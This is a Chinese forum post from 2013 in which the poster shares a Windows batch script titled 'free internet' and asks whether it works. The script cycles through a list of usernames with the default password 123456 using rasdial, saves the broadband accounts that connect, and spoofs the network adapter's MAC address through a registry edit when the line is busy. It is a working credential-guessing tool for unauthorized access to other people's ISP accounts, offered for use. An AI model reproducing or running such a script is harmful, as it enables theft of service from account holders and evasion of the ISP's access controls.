|
|
楼主 |
发表于 2013-4-2 11:31:38
|
显示全部楼层
本帖最后由 lionwick 于 2013-4-2 11:51 编辑
这样有用吗?请大神指点?- @title 免费上网
- @echo off &setlocal enabledelayedexpansion
- del 免费宽带账号.txt /q /f >nul
- set userfile=zh.txt
- set pppname=kdsm
- set outfile=免费宽带账号.txt
- echo.&echo ================================================================
- echo.&echo 正在扫描中,你可以做点其他的事情,可以最小化这个窗口!
- echo.&echo 但千万不可关闭这个黑色的窗口!
- echo.&echo 扫描完毕后此窗口会自动关闭的!
- echo.&echo ================================================================
- goto :pass1userx
- :pass1userx
- set pass=123456
- call :check0
- for /f "tokens=*" %%a in ('type "%userfile%"') do (rasdial "%pppname%" %%a %pass% >nul &set user=%%a& call :check1)
- goto :exit
- :exit
- rasdial %pppname% %user% %pass% >nul
- exit
- :check0
- rasdial|find "已连接">nul
- if %errorlevel% equ 0 for /f "skip=1 tokens=*" %%a in ('rasdial') do (rasdial "%%a" /d >nul&goto :eof)
- goto :eof
- :check1
- rasdial|find "电话占线">nul
- if %errorlevel% equ 0 call :macxg
- rasdial|find "已连接">nul
- if %errorlevel% equ 0 echo>>"%outfile%" %user%
- rasdial %pppname% /d >nul
- goto :eof
- :macxg
- set/a mac=%random%+10000
- set mac=000C29F%mac%
- set nic=本地连接
- reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001" /v
- "NetworkAddress" /t reg_sz /d %mac% /f
- netsh interface set interface name="%nic%" admin=disable
- netsh interface set interface name="%nic%" admin=enable
- goto :eof
复制代码 |
|